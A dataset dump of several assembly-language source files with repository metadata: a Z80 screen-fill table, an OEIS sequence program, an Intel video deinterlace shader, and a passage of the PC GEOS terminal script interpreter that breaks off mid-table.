hexsha stringlengths 40 40 | size int64 6 1.05M | ext stringclasses 3 values | lang stringclasses 1 value | max_stars_repo_path stringlengths 4 232 | max_stars_repo_name stringlengths 7 106 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 7 | max_stars_count int64 1 33.5k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 232 | max_issues_repo_name stringlengths 7 106 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 7 | max_issues_count int64 1 37.5k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 232 | max_forks_repo_name stringlengths 7 106 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 7 | max_forks_count int64 1 12.6k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 1.05M | avg_line_length float64 1.16 19.7k | max_line_length int64 2 938k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
18afd02d58d7cf24f30af4f9119f8e49bbd446cd | 4,467 | asm | Assembly | transformy/tables/gen/0001.asm | mborik/regression | 25b5f2204ce668594449e8ce804779288b895ac0 | [
"MIT"
] | 3 | 2019-09-18T05:34:22.000Z | 2020-12-04T17:46:52.000Z | transformy/tables/gen/0001.asm | mborik/regression | 25b5f2204ce668594449e8ce804779288b895ac0 | [
"MIT"
] | null | null | null | transformy/tables/gen/0001.asm | mborik/regression | 25b5f2204ce668594449e8ce804779288b895ac0 | [
"MIT"
] | 1 | 2020-01-17T01:04:24.000Z | 2020-01-17T01:04:24.000Z | ld a, 15
ld hl, basescradr + #082b
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #084b
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #086b
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #088b
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #08ab
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #08cb
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #08eb
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0a0b
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld (basescradr + #00eb), a
ld (basescradr + #01eb), a
ld a, 255
ld hl, basescradr + #00f4
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0814
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0834
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0854
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0874
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0894
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #08b4
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #08d4
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #00ec
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
ld hl, basescradr + #01ec
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
ld a, 31
ld hl, basescradr + #04eb
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld (basescradr + #080b), a
ld (basescradr + #090b), a
xor a
ld hl, basescradr + #0feb
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
ld hl, basescradr + #100b
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
ld hl, basescradr + #110b
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
ret
| 11.94385 | 28 | 0.465189 |
25819f5a59fe6658aba5d07bc14e4e440c0b46a5 | 1,357 | asm | Assembly | programs/oeis/069/A069076.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/069/A069076.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/069/A069076.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A069076: a(n) = (4*n^2 - 1)^3.
; 27,3375,42875,250047,970299,2924207,7414875,16581375,33698267,63521199,112678587,190109375,307546875,480048687,726572699,1070599167,1540798875,2171747375,3004685307,4088324799,5479701947,7245075375,9460870875,12214672127,15606257499,19748682927,24769410875,30811485375,38034753147,46617130799,56755918107,68669157375,82597038875,98803352367,117576984699,139233463487,164116546875,192599859375,225088573787,262021139199,303871055067,351148691375,404403154875,464224201407,531244194299,606140108847,689635582875,782503013375,885565699227,999700029999,1125837720827,1264968093375,1418140402875,1586466211247,1771121806299,1973350667007,2194465974875,2435853171375,2698972561467,2985361963199,3296639403387,3634505859375,4000748046875,4397241253887,4825952220699,5288942065967,5788369258875,6326492637375,6905674472507,7528383578799,8197198470747,8914810565375,9684027430875,10507776081327,11389106317499,12331194113727,13337345050875,14410997795375,15555727624347,16775249996799,18073424170907,19454256867375,20921905978875,22480684325567,24135063456699,25889677498287,27749327046875,29718983109375,31803791088987,34009074817199,36340340631867,38803281501375,41403781194875,44147918498607,47041971478299,50092421787647,53305959022875,56689485123375,60250118818427,63995200119999
mul $0,2
add $0,2
pow $0,2
sub $0,1
pow $0,3
| 150.777778 | 1,277 | 0.895357 |
e6d8fb2d136d41cd791b19c099ebce9141125c9c | 3,742 | asm | Assembly | src/shaders/post_processing/gen5_6/Core_Kernels/PL_DNDI_ALG.asm | tizenorg/platform.upstream.libva-intel-driver | 9ffc32731bacbfec2cef3d9fb5eb4c0c43952b90 | [
"MIT"
] | null | null | null | src/shaders/post_processing/gen5_6/Core_Kernels/PL_DNDI_ALG.asm | tizenorg/platform.upstream.libva-intel-driver | 9ffc32731bacbfec2cef3d9fb5eb4c0c43952b90 | [
"MIT"
] | null | null | null | src/shaders/post_processing/gen5_6/Core_Kernels/PL_DNDI_ALG.asm | tizenorg/platform.upstream.libva-intel-driver | 9ffc32731bacbfec2cef3d9fb5eb4c0c43952b90 | [
"MIT"
] | null | null | null | /*
* All Video Processing kernels
* Copyright © <2010>, Intel Corporation.
*
* This program is licensed under the terms and conditions of the
* Eclipse Public License (EPL), version 1.0. The full text of the EPL is at
* http://www.opensource.org/licenses/eclipse-1.0.php.
*
*/
#define DI_ENABLE
#include "DNDI.inc"
#ifdef DI_ONLY
#undef nSMPL_RESP_LEN
#define nSMPL_RESP_LEN nSMPL_RESP_LEN_DI // set the number of GRF
#else
#undef nSMPL_RESP_LEN
#define nSMPL_RESP_LEN nSMPL_RESP_LEN_DNDI // set the number of GRF
#endif
#undef nDPW_BLOCK_SIZE_HIST
#define nDPW_BLOCK_SIZE_HIST nBLOCK_WIDTH_4+nBLOCK_HEIGHT_1 // HIST Block Size for Write is 4x2
#undef nDPW_BLOCK_SIZE_DN
#define nDPW_BLOCK_SIZE_DN nBLOCK_WIDTH_16+nBLOCK_HEIGHT_4 // DN Block Size for Write is 16x4
////////////////////////////////////// Run the DN Algorithm ///////////////////////////////////////
#include "DNDI_Command.asm"
////////////////////////////////////// Rearrange for Internal Planar //////////////////////////////
////////////////////////////////////// Save the STMM Data for Next Run /////////////////////////
// Write STMM to memory
shr (1) rMSGSRC.0<1>:ud wORIX<0;1,0>:w 1:w NODDCLR_NODDCHK // X origin / 2
mov (1) rMSGSRC.1<1>:ud wORIY<0;1,0>:w NODDCLR_NODDCHK // Y origin
mov (1) rMSGSRC.2<1>:ud nDPW_BLOCK_SIZE_STMM:ud NODDCHK // block width and height (8x4)
mov (8) mudMSGHDR_STMM(0)<1> rMSGSRC.0<8;8,1>:ud // message header
mov (8) mudMSGHDR_STMM(1)<1> udRESP(nDI_STMM_OFFSET,0) // Move STMM to MRF
send (8) dNULLREG mMSGHDR_STMM udDUMMY_NULL nDATAPORT_WRITE nDPMW_MSGDSC+nDPMW_MSG_LEN_STMM+nBI_STMM_HISTORY_OUTPUT:ud
#ifdef DI_ONLY
#else
////////////////////////////////////// Save the History Data for Next Run /////////////////////////
#include "DI_Hist_Save.asm"
////////////////////////////////////// Save the DN Curr Frame for Next Run ////////////////////////
//set the save DN parameters
mov (2) rMSGSRC.0<1>:ud wORIX<2;2,1>:w NODDCLR // X origin and Y origin
mov (1) rMSGSRC.2<1>:ud nDPW_BLOCK_SIZE_DN:ud NODDCLR_NODDCHK // block width and height (16x4)
mov (8) mudMSGHDR_DN(0)<1> rMSGSRC.0<8;8,1>:ud
// check top/bottom field first
cmp.e.f0.0 (1) null<1>:w ubTFLD_FIRST<0;1,0>:ub 1:w
(f0.0) jmpi (1) TOP_FIELD_FIRST
BOTTOM_FIELD_FIRST:
$for (0,0; <nY_NUM_OF_ROWS/2; 2,1) {
mov (4) mudMSGHDR_DN(1,%1*4)<1> udRESP(nDI_CURR_2ND_FIELD_LUMA_OFFSET,%2*4)<4;4,1> // 2nd field luma from current frame (line 0,2)
}
$for (0,0; <nY_NUM_OF_ROWS/2; 2,1) {
mov (4) mudMSGHDR_DN(1,%1*4+4)<1> udRESP(nDI_CURR_FRAME_LUMA_OFFSET+%2,4)<4;4,1> // 1st field luma from current frame (line 1,3)
}
jmpi (1) SAVE_DN_CURR
TOP_FIELD_FIRST:
$for (0,0; <nY_NUM_OF_ROWS/2; 2,1) {
mov (4) mudMSGHDR_DN(1,%1*4)<1> udRESP(nDI_CURR_FRAME_LUMA_OFFSET+%2,0)<4;4,1> // 2nd field luma from current frame (line 0,2)
}
$for (0,0; <nY_NUM_OF_ROWS/2; 2,1) {
mov (4) mudMSGHDR_DN(1,%1*4+4)<1> udRESP(nDI_CURR_2ND_FIELD_LUMA_OFFSET,%2*4)<4;4,1> // 1st field luma from current frame (line 1,3)
}
SAVE_DN_CURR:
send (8) dNULLREG mMSGHDR_DN udDUMMY_NULL nDATAPORT_WRITE nDPMW_MSGDSC+nDPMW_MSG_LEN_PL_DN_DI+nBI_DESTINATION_Y:ud
#endif
// Save Processed frames
#include "DI_Save_PA.asm"
| 43.511628 | 165 | 0.561732 |
5eb692b952bbcc959f1c53e1460077028513cb5a | 86,526 | asm | Assembly | Appl/Term/Script/scriptLocal.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Appl/Term/Script/scriptLocal.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Appl/Term/Script/scriptLocal.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1990 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Script
FILE: scriptLocal.asm
AUTHOR: Dennis Chow, January 31, 1990
METHODS:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
dc 01/31/90 Initial revision.
DESCRIPTION:
Internally callable routines for this module.
No routines inside this file should be called from outside this
module.
INT InterpretScriptFile run the script file
INT DoCommand execute next macro command
INT CheckCommentLabel ignore comments in script file
INT GotoNextLine goto next line
INT SkipSpaces skip spaces and tabs in macro file
INT SkipWhiteSpace skip spaces and tabs in macro file
INT CheckCommand If the command is valid return address of
command routine
INT CheckPossibleCommand If the command is valid return address of
command routine
INT DoBell make a beep noise
INT DoClear Clear the script display
INT DoComm Set the baud, data and stop bits, and
parity
INT DoDial dial the phone
INT DoEcho turn echo on or off
INT DoEnd end of script file
INT DoError set error flag
INT DoGoto goto another line in the script file
INT DoMatch add a match string to the match table
INT DoPause Suspend the program for a small amount of
time
INT DoPort Set the comm port
INT DoPrint print string directly to the screen
INT DoPrompt wait for matched character or timeout
INT DoPulse set error flag
INT DoTone set error flag
INT SetDialList set error flag
INT DoSend send string out the com port
INT DoStart set error flag
INT DoTerm set terminal type to use
INT StringMatch match the string against the table of valid
strings
INT DispErrMessage display an error message then abort the
script
INT StringCheck Check that the string is bounded by quotes
(")
INT StringLength Get length of the string
INT LabelSearch Search the macro file for a label
INT WordCmp check if two words match
INT StringCopyAndConvert Copy one string to another and convert from
GEOS->BBS
INT ConvCharExp convert character expressions to actual
character value
INT ConvNumString Convert numeric string to hex value
INT EndScript Do tasks associated with finishing a script
file
INT SetTimer Set timer to wake up the program
INT SetDataList Set entry in data bits list
INT SetParityList Set entry in parity list
INT SetStopList Set entry in stop bits list
INT SetDuplexList Set entry in duplex list
INT EnableTrigger enable ScriptUI trigger
INT DisableTrigger enable ScriptUI trigger
INT ScriptAttemptBranchToAbortSection See if this script has an "ABORT"
section.
INT PrintAbort See if this script has an "ABORT" section.
INT NullTerminateWord Null terminate the current word
INT ConvUpperCase Check that word pointed to by es:di is in
upper case
INT ResetScriptTriggers
INT ScriptCancelAndNotifySerialThread This procedure is called when an
END command is reached in the script,
Cancel is pressed, or an error is
encountered.
$Id: scriptLocal.asm,v 1.1 97/04/04 16:55:58 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InterpretScriptFile
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: run the script file
CALLED BY: ScriptRunFile
PASS: es:di - current line in script file
ds - dgroup
RETURN: C - clear if done with script file
- set if still in script mode (i.e. SCRIPT_MODE_PROMPT)
DESTROYED: es, di
PSEUDO CODE/STRATEGY:
Should we check if there's an END before the end of the file?
InterpretScriptFile {
if SCRIPT_MODE_OFF {
EndScript
return CF=0.
} else {
if SCRIPT_MODE_PROMPT or SCRIPT_MODE_PAUSE {
send MSG_SCRIPT_NEXT to [termProcHandle] via queue.
}
return CF=1.
}
}
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/01/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InterpretScriptFile proc near
EC < call ECCheckDS_dgroup >
call DoCommand
cmp ds:[scriptMode], SCRIPT_MODE_OFF
;already done?
je done ;skip if so...
cmp ds:[scriptMode], SCRIPT_MODE_PROMPT
;waiting for a match?
je continue ;skip if so...
cmp ds:[scriptMode], SCRIPT_MODE_PAUSE
;waiting for PAUSE to complete?
je continue ;skip if so...
;ready to process next line of script: send a method to ourself,
;via the queue so that we allow other events to be handled first.
mov ds:[restartPtr], di ;set pointer to next line
mov ax, MSG_TERM_SCRIPT_EXECUTE_NEXT_LINE
;send method to process next lne
mov bx, ds:[termProcHandle]
mov di, mask MF_FORCE_QUEUE
call ObjMessage
continue:
stc ;flag script not done
jmp short exit
done:
if ERROR_CHECK
cmp ds:[scriptMode], SCRIPT_MODE_OFF
ERROR_NE TERM_ERROR
;IN_SCRIPT is set, but there is a EXIT_SCRIPT_MODE sitting in term:2's
;queue - brianc 2/28/94
; cmp ds:[termStatus], IN_SCRIPT
; ERROR_E TERM_ERROR
99$:
endif
clc
exit:
ret
InterpretScriptFile endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DoCommand
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: execute next macro command
CALLED BY: ScriptRunFile
PASS: ds - dgroup
es:di - current line in script file
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
skip labels
skip comments
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/01/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DoCommand proc near
EC < call ECCheckDS_dgroup >
call SkipWhiteSpace
LocalGetChar ax, esdi, NO_ADVANCE ;get first char
;added 10/31/90 because I want to go to sleep. -Eric
LocalIsNull ax
jz done ;skip if reached end of script..
cmp di, ds:[scriptEnd] ;if at at end of file
jge done ;then end the script...
;end of added code. Let's go to NYC and mug dennis.
call CheckCommentLabel ;ignore comments
jc DoCommand ; and labels
;call appropriate routine
call CheckCommand ;check command is valid
jc error ;exit if token bogus
mov bl, {byte} cs:[si] ;get routine number
clr bh
shl bx, 1 ;calc table offset
add bx, offset MacroRoutTable
mov cx, cs:[bx] ;get routine offset
call cx ;call macro routine
cmp di, ds:[scriptEnd] ;if at at end of file
jb exit ;then flag that script done
jmp short done
error:
call PrintAbort ;we are out of here!
done: ;set scriptMode = SCRIPT_MODE_OFF, and notify serial thread
;that the script has ended.
call ScriptCancelAndNotifySerialThread
;free script block, reset UI, etc.
call EndScript ;kill it
exit:
ret
DoCommand endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CheckCommentLabel
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: ignore comments in script file
CALLED BY: DoCommand
PASS: es:di - current line of script file
ds - dgroup
al - first char in the line
RETURN: C - set if line is a comment
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/01/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CheckCommentLabel proc near
EC < call ECCheckDS_dgroup >
LocalCmpChar ax, COMMENT_FLAG ;is this a comment
je skip ;yes
LocalCmpChar ax, LABEL_FLAG ;is it a label
je skip ;no
LocalCmpChar ax, CHAR_CR ;skip blank lines
je skip
jmp short noSkip
skip:
call GotoNextLine ;yep, goto next line
stc
jmp short exit
noSkip:
clc
exit:
ret
CheckCommentLabel endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GotoNextLine
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: goto next line
CALLED BY: DoCommand, DoBell, DoComm, DoDial, ...
PASS: es:di - current line of script file
RETURN: es:di - next line in script file
DESTROYED: ax
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/01/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GotoNextLine proc near
LocalLoadChar ax, CHAR_LF ;
mov cx, LINE_LENGTH ;set max length of line
LocalFindChar ;goto end of line
ret
GotoNextLine endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SkipSpaces
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: skip spaces and tabs in macro file
CALLED BY: DoCommand, DoBell, DoComm, DoDial,...
PASS: es:di - current line of script file
RETURN: es:di - pointing to macro text
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/01/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SkipSpaces proc near
SBCS < cmp {byte} es:[di], CHAR_SPACE >
DBCS < cmp {wchar} es:[di], CHAR_SPACE >
je skip
SBCS < cmp {byte} es:[di], CHAR_TAB >
DBCS < cmp {wchar} es:[di], CHAR_TAB >
je skip
jmp gotText
skip:
LocalNextChar esdi
jmp short SkipSpaces
gotText:
ret
SkipSpaces endp
SkipWhiteSpace proc near
SBCS < cmp {byte} es:[di], CHAR_SPACE >
DBCS < cmp {wchar} es:[di], CHAR_SPACE >
je skip
SBCS < cmp {byte} es:[di], CHAR_TAB >
DBCS < cmp {wchar} es:[di], CHAR_TAB >
je skip
SBCS < cmp {byte} es:[di], CHAR_CR >
DBCS < cmp {wchar} es:[di], CHAR_CR >
je skip
SBCS < cmp {byte} es:[di], CHAR_LF >
DBCS < cmp {wchar} es:[di], CHAR_LF >
jne gotText
skip:
LocalNextChar esdi
jmp short SkipWhiteSpace
gotText:
ret
SkipWhiteSpace endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
String/Macro Tables
The table format is
<string_expression><null terminator><#bytes to next string><string data>
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MacroTable label byte
if DBCS_PCGEOS
wchar "BELL", CHAR_NULL
db 2, BELL_PRIM
wchar "CLEAR", CHAR_NULL
db 2, CLEAR_PRIM
wchar "COMM", CHAR_NULL
db 2, COMM_PRIM
wchar "DIAL", CHAR_NULL
db 2, DIAL_PRIM
wchar "ECHO", CHAR_NULL
db 2, ECHO_PRIM
wchar "END", CHAR_NULL
db 2, END_PRIM
wchar "ERROR", CHAR_NULL
db 2, ERROR_PRIM
wchar "GOTO", CHAR_NULL
db 2, GOTO_PRIM
wchar "MATCH", CHAR_NULL
db 2, MATCH_PRIM
wchar "PAUSE", CHAR_NULL
db 2, PAUSE_PRIM
wchar "PORT", CHAR_NULL
db 2, PORT_PRIM
wchar "PRINT", CHAR_NULL
db 2, PRINT_PRIM
wchar "PROMPT", CHAR_NULL
db 2, PROMPT_PRIM
wchar "PULSE", CHAR_NULL
db 2, PULSE_PRIM
wchar "SEND", CHAR_NULL
db 2, SEND_PRIM
wchar "START", CHAR_NULL
db 2, START_PRIM
wchar "TERM", CHAR_NULL
db 2, TERM_PRIM
wchar "TONE", CHAR_NULL
db 2, TONE_PRIM
else
db "BELL", CHAR_NULL, 2, BELL_PRIM
db "CLEAR", CHAR_NULL, 2, CLEAR_PRIM
db "COMM", CHAR_NULL, 2, COMM_PRIM
db "DIAL", CHAR_NULL, 2, DIAL_PRIM
db "ECHO", CHAR_NULL, 2, ECHO_PRIM
db "END", CHAR_NULL, 2, END_PRIM
db "ERROR", CHAR_NULL, 2, ERROR_PRIM
db "GOTO", CHAR_NULL, 2, GOTO_PRIM
db "MATCH", CHAR_NULL, 2, MATCH_PRIM
db "PAUSE", CHAR_NULL, 2, PAUSE_PRIM
db "PORT", CHAR_NULL, 2, PORT_PRIM
db "PRINT", CHAR_NULL, 2, PRINT_PRIM
db "PROMPT", CHAR_NULL, 2, PROMPT_PRIM
db "PULSE", CHAR_NULL, 2, PULSE_PRIM
db "SEND", CHAR_NULL, 2, SEND_PRIM
db "START", CHAR_NULL, 2, START_PRIM
db "TERM", CHAR_NULL, 2, TERM_PRIM
db "TONE", CHAR_NULL, 2, TONE_PRIM
endif
MacroTableEnd label byte
MAX_MACRO_LENGTH = 6 ; set to length longest valid macro command
MacroRoutTable label word
dw offset DoBell
dw offset DoClear
dw offset DoComm
dw offset DoDial
dw offset DoEcho
dw offset DoEnd
dw offset DoError
dw offset DoGoto
dw offset DoMatch
dw offset DoPause
dw offset DoPort
dw offset DoPrint
dw offset DoPrompt
dw offset DoPulse
dw offset DoSend
dw offset DoStart
dw offset DoTerm
dw offset DoTone
;
; data bits
;
DataTable label byte
if DBCS_PCGEOS
wchar "5", CHAR_NULL
db 2, FIVE_DATA_BITS
wchar "6", CHAR_NULL
db 2, SIX_DATA_BITS
wchar "7", CHAR_NULL
db 2, SEVEN_DATA_BITS
wchar "8", CHAR_NULL
db 2, EIGHT_DATA_BITS
else
db "5", CHAR_NULL, 2, FIVE_DATA_BITS
db "6", CHAR_NULL, 2, SIX_DATA_BITS
db "7", CHAR_NULL, 2, SEVEN_DATA_BITS
db "8", CHAR_NULL, 2, EIGHT_DATA_BITS
endif
DataTableEnd label byte
;
; baud rate
;
BaudTable label byte
if DBCS_PCGEOS
wchar "300", CHAR_NULL
db 3
dw SB_300
wchar "1200", CHAR_NULL
db 3
dw SB_1200
wchar "2400", CHAR_NULL
db 3
dw SB_2400
wchar "4800", CHAR_NULL
db 3
dw SB_4800
wchar "9600", CHAR_NULL
db 3
dw SB_9600
wchar "19200",CHAR_NULL
db 3
dw SB_19200
else
db "300", CHAR_NULL, 3
dw SB_300
db "1200", CHAR_NULL, 3
dw SB_1200
db "2400", CHAR_NULL, 3
dw SB_2400
db "4800", CHAR_NULL, 3
dw SB_4800
db "9600", CHAR_NULL, 3
dw SB_9600
db "19200",CHAR_NULL, 3
dw SB_19200
endif
BaudTableEnd label byte
;
; parity
;
ParityTable label byte
if DBCS_PCGEOS
wchar "N", CHAR_NULL
db 2, NO_PARITY
wchar "E", CHAR_NULL
db 2, EVEN_PARITY
wchar "O", CHAR_NULL
db 2, ODD_PARITY
wchar "S", CHAR_NULL
db 2, SPACE_PARITY
wchar "M", CHAR_NULL
db 2, MARK_PARITY
else
db "N", CHAR_NULL, 2, NO_PARITY
